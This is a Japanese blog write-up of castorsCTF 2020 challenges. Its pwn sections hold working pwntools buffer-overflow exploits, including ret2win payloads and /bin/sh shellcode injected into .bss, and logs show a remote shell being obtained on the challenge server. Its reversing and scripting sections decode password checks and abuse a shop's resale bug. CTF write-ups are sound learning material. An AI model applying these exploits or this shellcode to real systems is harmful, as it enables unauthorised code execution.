kanyewest CTF

勉強したことをメモしています。

castorsCTF 2020【Write up】

pwn

abcbof

$ file abcbof 
abcbof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c0d370a13d4eef91ea21376096ca113349bda4d6, not stripped
$ checksec.sh --file=./abcbof
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   70 Symbols     No       02./abcbof
$ ./abcbof 
Hello everyone, say your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You lose!
Segmentation fault (コアダンプ)

BOFがあることがわかります。 gdbデバッグすると

$ gdb -q ./abcbof
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x0000000000400588  _init
0x00000000004005b0  putchar@plt
0x00000000004005c0  puts@plt
0x00000000004005d0  fclose@plt
0x00000000004005e0  printf@plt
0x00000000004005f0  fgetc@plt
0x0000000000400600  strcmp@plt
0x0000000000400610  gets@plt
0x0000000000400620  fopen@plt
0x0000000000400630  exit@plt
0x0000000000400640  _start
0x0000000000400670  _dl_relocate_static_pie
0x0000000000400680  deregister_tm_clones
0x00000000004006b0  register_tm_clones
0x00000000004006f0  __do_global_dtors_aux
0x0000000000400720  frame_dummy
0x0000000000400727  get_flag
0x000000000040078d  main
0x0000000000400800  __libc_csu_init
0x0000000000400870  __libc_csu_fini
0x0000000000400874  _fini
gdb-peda$ pdisas get_flag
Dump of assembler code for function get_flag:
   0x0000000000400727 <+0>:     push   rbp
   0x0000000000400728 <+1>:     mov    rbp,rsp
   0x000000000040072b <+4>:     sub    rsp,0x10
   0x000000000040072f <+8>:     lea    rsi,[rip+0x152]        # 0x400888
   0x0000000000400736 <+15>:    lea    rdi,[rip+0x14d]        # 0x40088a
   0x000000000040073d <+22>:    call   0x400620 <fopen@plt>
   0x0000000000400742 <+27>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400746 <+31>:    cmp    QWORD PTR [rbp-0x8],0x0
   0x000000000040074b <+36>:    jne    0x400762 <get_flag+59>
   0x000000000040074d <+38>:    mov    edi,0x1
   0x0000000000400752 <+43>:    call   0x400630 <exit@plt>
   0x0000000000400757 <+48>:    movsx  eax,BYTE PTR [rbp-0x9]
   0x000000000040075b <+52>:    mov    edi,eax
   0x000000000040075d <+54>:    call   0x4005b0 <putchar@plt>
   0x0000000000400762 <+59>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400766 <+63>:    mov    rdi,rax
   0x0000000000400769 <+66>:    call   0x4005f0 <fgetc@plt>
   0x000000000040076e <+71>:    mov    BYTE PTR [rbp-0x9],al
   0x0000000000400771 <+74>:    cmp    BYTE PTR [rbp-0x9],0xff
   0x0000000000400775 <+78>:    jne    0x400757 <get_flag+48>
   0x0000000000400777 <+80>:    mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040077b <+84>:    mov    rdi,rax
   0x000000000040077e <+87>:    call   0x4005d0 <fclose@plt>
   0x0000000000400783 <+92>:    mov    edi,0x0
   0x0000000000400788 <+97>:    call   0x400630 <exit@plt>
End of assembler dump.
gdb-peda$ x/s 0x40088a
0x40088a:       "flag.txt"

単純にBOFを利用してget_flag関数に飛ばせばいいことがわかります。

from pwn import *

e = ELF('./abcbof')
#p = process('./abcbof')
p = remote('chals20.cybercastors.com',14424)

ret_addr = 0x0040059e
flag_addr = e.symbols['get_flag']

payload = 'A'*280
payload += p64(ret_addr)
payload += p64(flag_addr)

p.sendline(payload)
p.interactive()
$ python solve.py 
[*]
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to chals20.cybercastors.com on port 14424: Done
[*] Switching to interactive mode
Hello everyone, say your name: You lose!
castorsCTF{b0f_4r3_n0t_th4t_h4rd_or_4r3_th3y?}[*] Got EOF while reading in interactive

babybof1

$ file babybof 
babybof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=53082227c9e25222032055ccb700576121bd384f, not stripped
$ checksec.sh --file=./babybof
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   69 Symbols     No       02./babybof
$ ./babybof 
Welcome to the cybercastors Babybof
Say your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (コアダンプ)

これもまたBOFがあることがわかります。

$ gdb -q ./babybof
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x0000000000400550  _init
0x0000000000400580  putchar@plt
0x0000000000400590  puts@plt
0x00000000004005a0  fclose@plt
0x00000000004005b0  printf@plt
0x00000000004005c0  fgetc@plt
0x00000000004005d0  gets@plt
0x00000000004005e0  fopen@plt
0x00000000004005f0  exit@plt
0x0000000000400600  _start
0x0000000000400630  _dl_relocate_static_pie
0x0000000000400640  deregister_tm_clones
0x0000000000400670  register_tm_clones
0x00000000004006b0  __do_global_dtors_aux
0x00000000004006e0  frame_dummy
0x00000000004006e7  get_flag
0x000000000040074d  main
0x0000000000400790  __libc_csu_init
0x0000000000400800  __libc_csu_fini
0x0000000000400804  _fini
gdb-peda$ pdisas get_flag
Dump of assembler code for function get_flag:
   0x00000000004006e7 <+0>:     push   rbp
   0x00000000004006e8 <+1>:     mov    rbp,rsp
   0x00000000004006eb <+4>:     sub    rsp,0x10
   0x00000000004006ef <+8>:     lea    rsi,[rip+0x122]        # 0x400818
   0x00000000004006f6 <+15>:    lea    rdi,[rip+0x11d]        # 0x40081a
   0x00000000004006fd <+22>:    call   0x4005e0 <fopen@plt>
   0x0000000000400702 <+27>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400706 <+31>:    cmp    QWORD PTR [rbp-0x8],0x0
   0x000000000040070b <+36>:    jne    0x400722 <get_flag+59>
   0x000000000040070d <+38>:    mov    edi,0x1
   0x0000000000400712 <+43>:    call   0x4005f0 <exit@plt>
   0x0000000000400717 <+48>:    movsx  eax,BYTE PTR [rbp-0x9]
   0x000000000040071b <+52>:    mov    edi,eax
   0x000000000040071d <+54>:    call   0x400580 <putchar@plt>
   0x0000000000400722 <+59>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400726 <+63>:    mov    rdi,rax
   0x0000000000400729 <+66>:    call   0x4005c0 <fgetc@plt>
   0x000000000040072e <+71>:    mov    BYTE PTR [rbp-0x9],al
   0x0000000000400731 <+74>:    cmp    BYTE PTR [rbp-0x9],0xff
   0x0000000000400735 <+78>:    jne    0x400717 <get_flag+48>
   0x0000000000400737 <+80>:    mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040073b <+84>:    mov    rdi,rax
   0x000000000040073e <+87>:    call   0x4005a0 <fclose@plt>
   0x0000000000400743 <+92>:    mov    edi,0x0
   0x0000000000400748 <+97>:    call   0x4005f0 <exit@plt>
End of assembler dump.
$ cat solve.py 
from pwn import *

e = ELF('./babybof')
# = process('./babybof')
p = remote('chals20.cybercastors.com',14425)

ret_addr =0x00400566
flag_addr = e.symbols['get_flag']

payload = 'A'*264
payload += p64(ret_addr)
payload += p64(flag_addr)

p.sendline(payload)
p.interactive()

これもget_flag関数に飛ばすだけでした。

$ python solve.py 
[*]
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[+] Opening connection to chals20.cybercastors.com on port 14425: Done
[*] Switching to interactive mode
Welcome to the cybercastors Babybof
Say your name: castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}
[*] Got EOF while reading in interactive

babybof2

$ file winners 
winners: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=4cc0975ce93c498da72442b3ada5a3dd0f6a471a, for GNU/Linux 3.2.0, not stripped
$ checksec.sh --file=./winners
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified Fortifiable  FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   73 Symbols     No       01./winners
$ gdb -q ./winners 
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x08049000  _init
0x08049040  gets@plt
0x08049050  puts@plt
0x08049060  system@plt
0x08049070  __libc_start_main@plt
0x08049080  _start
0x080490c0  _dl_relocate_static_pie
0x080490d0  __x86.get_pc_thunk.bx
0x080490e0  deregister_tm_clones
0x08049120  register_tm_clones
0x08049160  __do_global_dtors_aux
0x08049190  frame_dummy
0x08049196  winnersLevel
0x08049201  start
0x08049229  main
0x08049290  __x86.get_pc_thunk.ax
0x080492a0  __libc_csu_init
0x08049310  __libc_csu_fini
0x08049315  __x86.get_pc_thunk.bp
0x0804931c  _fini
gdb-peda$ pdisas winnersLevel
Dump of assembler code for function winnersLevel:
   0x08049196 <+0>:     push   ebp
   0x08049197 <+1>:     mov    ebp,esp
   0x08049199 <+3>:     push   ebx
   0x0804919a <+4>:     sub    esp,0x4
   0x0804919d <+7>:     call   0x80490d0 <__x86.get_pc_thunk.bx>
   0x080491a2 <+12>:    add    ebx,0x2256
   0x080491a8 <+18>:    cmp    DWORD PTR [ebp+0x8],0x182
   0x080491af <+25>:    je     0x80491ba <winnersLevel+36>
   0x080491b1 <+27>:    cmp    DWORD PTR [ebp+0x8],0x102
   0x080491b8 <+34>:    jne    0x80491e5 <winnersLevel+79>
   0x080491ba <+36>:    sub    esp,0xc
   0x080491bd <+39>:    lea    eax,[ebx-0x13f0]
   0x080491c3 <+45>:    push   eax
   0x080491c4 <+46>:    call   0x8049050 <puts@plt>
   0x080491c9 <+51>:    add    esp,0x10
   0x080491cc <+54>:    sub    esp,0xc
   0x080491cf <+57>:    lea    eax,[ebx-0x13b2]
   0x080491d5 <+63>:    push   eax
   0x080491d6 <+64>:    call   0x8049060 <system@plt>
   0x080491db <+69>:    add    esp,0x10
   0x080491de <+72>:    mov    eax,0x1
   0x080491e3 <+77>:    jmp    0x80491fc <winnersLevel+102>
   0x080491e5 <+79>:    sub    esp,0xc
   0x080491e8 <+82>:    lea    eax,[ebx-0x13a0]
   0x080491ee <+88>:    push   eax
   0x080491ef <+89>:    call   0x8049050 <puts@plt>
   0x080491f4 <+94>:    add    esp,0x10
   0x080491f7 <+97>:    mov    eax,0x0
   0x080491fc <+102>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x080491ff <+105>:   leave  
   0x08049200 <+106>:   ret    
End of assembler dump.

ふつうに考えれば、BOFもあるのでwinnersLevel関数の通りに書き換えればいいのですがうまくいかなかったので、NX disabledなのでbssセクションを書き換えてshellcodeを実行させました。

from pwn import *

e = ELF('./winners')
#p = process('./winners')
p = remote('chals20.cybercastors.com',14434)

shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'

payload = 'A'*76
payload += p32(e.symbols['gets'])
payload += p32(e.bss()+0x100)
payload += p32(e.bss()+0x100)

p.sendline(payload)
p.sendline(shellcode)
p.interactive()
$ python solve.py 
[*]
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Opening connection to chals20.cybercastors.com on port 14434: Done
[*] Switching to interactive mode
Do you really think you can get to the winners table?
I'll give you one shot at it, what floor is the table at: 
$ cat flag.txt
castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}$ $ 

babybof1 pt2

$ file babybof 
babybof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=53082227c9e25222032055ccb700576121bd384f, not stripped
$ checksec.sh --file=./babybof
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   69 Symbols     No       02./babybof
$ gdb -q ./babybof
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x0000000000400550  _init
0x0000000000400580  putchar@plt
0x0000000000400590  puts@plt
0x00000000004005a0  fclose@plt
0x00000000004005b0  printf@plt
0x00000000004005c0  fgetc@plt
0x00000000004005d0  gets@plt
0x00000000004005e0  fopen@plt
0x00000000004005f0  exit@plt
0x0000000000400600  _start
0x0000000000400630  _dl_relocate_static_pie
0x0000000000400640  deregister_tm_clones
0x0000000000400670  register_tm_clones
0x00000000004006b0  __do_global_dtors_aux
0x00000000004006e0  frame_dummy
0x00000000004006e7  get_flag
0x000000000040074d  main
0x0000000000400790  __libc_csu_init
0x0000000000400800  __libc_csu_fini
0x0000000000400804  _fini
gdb-peda$ pdisas get_flag
Dump of assembler code for function get_flag:
   0x00000000004006e7 <+0>:     push   rbp
   0x00000000004006e8 <+1>:     mov    rbp,rsp
   0x00000000004006eb <+4>:     sub    rsp,0x10
   0x00000000004006ef <+8>:     lea    rsi,[rip+0x122]        # 0x400818
   0x00000000004006f6 <+15>:    lea    rdi,[rip+0x11d]        # 0x40081a
   0x00000000004006fd <+22>:    call   0x4005e0 <fopen@plt>
   0x0000000000400702 <+27>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400706 <+31>:    cmp    QWORD PTR [rbp-0x8],0x0
   0x000000000040070b <+36>:    jne    0x400722 <get_flag+59>
   0x000000000040070d <+38>:    mov    edi,0x1
   0x0000000000400712 <+43>:    call   0x4005f0 <exit@plt>
   0x0000000000400717 <+48>:    movsx  eax,BYTE PTR [rbp-0x9]
   0x000000000040071b <+52>:    mov    edi,eax
   0x000000000040071d <+54>:    call   0x400580 <putchar@plt>
   0x0000000000400722 <+59>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400726 <+63>:    mov    rdi,rax
   0x0000000000400729 <+66>:    call   0x4005c0 <fgetc@plt>
   0x000000000040072e <+71>:    mov    BYTE PTR [rbp-0x9],al
   0x0000000000400731 <+74>:    cmp    BYTE PTR [rbp-0x9],0xff
   0x0000000000400735 <+78>:    jne    0x400717 <get_flag+48>
   0x0000000000400737 <+80>:    mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040073b <+84>:    mov    rdi,rax
   0x000000000040073e <+87>:    call   0x4005a0 <fclose@plt>
   0x0000000000400743 <+92>:    mov    edi,0x0
   0x0000000000400748 <+97>:    call   0x4005f0 <exit@plt>
End of assembler dump.
gdb-peda$ 

これもget_flag関数をどうにかしようとしたんですがうまくいかなかったので結局bssセクションを書き換えてシェルコードを呼びだしたらできました。

from pwn import *

p = remote('chals20.cybercastors.com',14425)
e = ELF('./babybof')
libc = ELF('./libc6-amd64_2.30-0ubuntu2_i386.so')

ret_addr = 0x00400566
pop_rdi_addr = 0x004007f3
flag_addr = e.symbols['get_flag']

shellcode = "\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\xb0\x3b\x48\x89\xe7\x31\xf6\x31\xd2\x0f\x05"

payload = 'A'*264
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(e.bss())
payload += p64(e.symbols['gets'])
payload += p64(e.bss())

p.sendline(payload)
p.sendline(shellcode)
p.interactive()

p.sendline(payload)
p.interactive()
$ python solve.py 
[+] Opening connection to chals20.cybercastors.com on port 14425: Done
[*]
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[*]
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
Welcome to the cybercastors Babybof
Say your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf^E@^@^@^@^@^@�^G@^@^@^@^@^@h^P`^@^@^@^@^@�^E@^@^@^@^@^@h^P`^@^@^@^@^@
1�PH\xbf/bin//shW\xb0;H\x89�1�1�^O^E
sh: 0: can't access tty; job control turned off
$ $ id
id
uid=1337(leet) gid=1337(leet) groups=1337(leet)
$ $ ls
ls
babybof  flag.txt  shell_flag.txt
$ $ cat flag.txt
cat flag.txt
castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}

Misc

password crack1

3c80b091de0981ec64e43262117d618a

という文字列が与えられ、それがmd5なのでそれをdecryptするだけです。

Reversing

Vault0

def checkpass():
    _input = input("Enter the password: ").encode()
    if _input[0:4].hex() == "63617374":
        if _input[4:9].hex() == "6f72734354":
            if _input[9:14].hex() == "467b723178":
                if _input[14:17].hex() == "54795f":
                    if _input[17:20].hex() == "6d316e":
                        if _input[20:27].hex() == "757433735f6774":
                            if _input[27:35].hex() == "5f73317874795f6d":
                                if _input[35:40].hex() == "316e757433":
                                    if _input[40:].hex() == "737d":
                                        return True

def main():
    global access
    access = checkpass()
    if access:
        print("Yeah...okay. You got it!")
    else:
        print("Lol...try again...")

access = False
main()

checkpass関数で書かれてる文字の羅列がHexなのでDecodeするだけです。

Vault1

import base64

def xor(s1,s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2))

def checkpass():
    _input = input("Enter the password: ")
    key = "promortyusvatofacidpromortyusvato"
    encoded = str.encode(xor(key, _input))
    result = base64.b64encode(encoded, altchars=None)
    if result == b'ExMcGQAABzohNQ0TRQwtPidYAS8gXg4kAkcYISwOUQYS':
        return True
    else:
        return False

def main():
    global access
    access = checkpass()
    if access:
        print("Yeah...okay. You got it!")
    else:
        print("Lol...try again...")

access = False
main()

というpythonのファイルが渡されます。 ここで行われてる処理を逆から行うだけです。

import base64

def xor(s1,s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2))

s = "ExMcGQAABzohNQ0TRQwtPidYAS8gXg4kAkcYISwOUQYS"
t = bytes.decode(base64.b64decode(s,altchars=None))
key = "promortyusvatofacidpromortyusvato"
print(xor(t,key))

Stacking

Stackingというタイトル通り、適当にブレークポイントを設定してStackを見たらFlagが書かれていました。

[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddc0 --> 0x55554040 ('@@UU')
0008| 0x7fffffffddc8 --> 0x1400f0b5ff 
0016| 0x7fffffffddd0 ("castorsCTF{w3lc0m3_70_r3v3r53_3n61n33r1n6}UUUU")
0024| 0x7fffffffddd8 ("TF{w3lc0m3_70_r3v3r53_3n61n33r1n6}UUUU")
0032| 0x7fffffffdde0 ("m3_70_r3v3r53_3n61n33r1n6}UUUU")
0040| 0x7fffffffdde8 ("v3r53_3n61n33r1n6}UUUU")
0048| 0x7fffffffddf0 ("61n33r1n6}UUUU")
0056| 0x7fffffffddf8 --> 0x555555557d36 ('6}UUUU')

XoR

$ file xorry 
xorry: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3ca9cc6b6ae5085398a92d24089d458d53c2c702, stripped

strippedなのでとりあえずghidraでデコンパイルしました。

ulong main(char *param_1)

{
  int iVar1;
  size_t sVar2;
  int local_18;
  
  sVar2 = strlen(param_1);
  local_18 = 0;
  while (local_18 < (int)sVar2) {
    param_1[local_18] = param_1[local_18] ^ (char)local_18 + 10U;
    param_1[local_18] = param_1[local_18] + -2;
    local_18 = local_18 + 1;
  }
  iVar1 = strcmp(param_1,&DAT_00301020);
  return (ulong)(iVar1 != 0);
}

whileの中でループされてる処理を行うだけです。

s = "gh}w_{aPDSmk$ch&r+Ah-&F|\024z\021P\025\020\035R"

res = ''
for i in range(len(s)):
        tmp = ord(s[i])+2
        tmp = (tmp ^ (i+10))
        res += chr(tmp)

print res

Coding

Arithmetics

$ nc chals20.cybercastors.com 14429

------------------Welcome to Beginner Arithmetics!------------------
To get the flag you'll have to solve a series of arithmetic challenges.
The problems may be addition, substraction, multiplication or integer division.
Numbers can range from 1 to 9. Easy right?
You'll have very little time to answer so do your best!
Hit <enter> when ready.

What is 4 - 5 ?

出題される計算をひたすら解くだけのようです。しかし、25問くらい解いたところで-がminusになったりしたのでそこだけ注意が必要です。

from pwn import *

p = remote('chals20.cybercastors.com',14429)

print p.recvuntil('ready.')
p.sendline('')

d = {
        "one": 1,
        "two": 2,
        "three": 3,
        "four": 4,
        "five": 5,
        "six": 6,
        "seven": 7,
        "eight": 8,
        "nine": 9,
        "minus": '-',
        "plus": '+',
        "multiplied-by": '*',
        "divided-by": '//'
}
for i in range(100):
        print i
        #print p.recvuntil('is ')
        print p.recvline()
        ret = p.recvline().split(' ')
        print ret
        a = ret[2]
        cal = ret[3]
        b = ret[4]

        if a in d.keys():
                a = d[a]
        else:
                a = int(a)
        if b in d.keys():
                b = d[b]
        else:
                b = int(b)
        if cal in d.keys():
                cal = d[cal]
        if cal == '+':
                res = str(a+b)
                p.sendline(res)
        if cal == '-':
                res = str(a-b)
                p.sendline(res)
        if cal == '*':
                res = str(a*b)
                p.sendline(res)
        if cal == '//':
                res = str(a//b)
                p.sendline(res)
p.interactive()
[*] Switching to interactive mode
Correct answer!
Wow! You're fast! Here's your flag: castorsCTF(n00b_pyth0n_4r17hm3t1c5}

Glitchity Glitch

$ nc chals20.cybercastors.com 14432
Welcome to my store, hope your bartering skill is high enough.
Here's the lot of them   Your money: 100
Your money: 100
        0. Sell Item
        1. USB - 5 coins
        2. Book - 10 coins
        3. Snowglobe - 7 coins
        4. Painting - 100 coins
        5. Flag - 5000 coins
        6. VPN - 20 coins
        7. Quit
Choice:

所持してるお金で1〜7にあるものを買ってものを売って6000coinsになったらflagを買って出力するプログラムのようですが、ふつうに考えたら1円も増えないのですが、同じものをひたすら売れるバグがあったのでVPNをひたすら売って6000coinsになるまで待ちました。これでいいのかはよくわからないですが。

from pwn import *

p = remote('chals20.cybercastors.com',14432)

d = [1,2,3,6]
for i in range(4):
        print p.recvuntil('Your money: ')
        money = int(p.recvline())
        print "money: " + str(money)
        print p.recvuntil('Choice: ')
        p.sendline(str(d[i]))

while True:
        if money > 6000:
                p.sendline('5')
                break
        else:
                p.sendline('0')
        print p.recvuntil('Your money: ')
        money = int(p.recvline())
        print "money: " + str(money)
        print p.recvuntil('What do you wish to sell?\n')
        for i in range(4):
                ret = p.recvline()
                print ret
                if 'VPN' in ret:
                        ans = str(i+1)
        p.sendline(ans)

p.interactive()
[*] Switching to interactive mode
Choice: Successfully added money to your bag
Your money: 6038
    0. Sell Item
    1. USB - 5 coins
    2. Book - 10 coins
    3. Snowglobe - 7 coins
    4. Painting - 100 coins
    5. Flag - 6000 coins
    6. VPN - 20 coins
    7. Quit
Choice: castorsCTF{$imPl3_sTUph_3h?}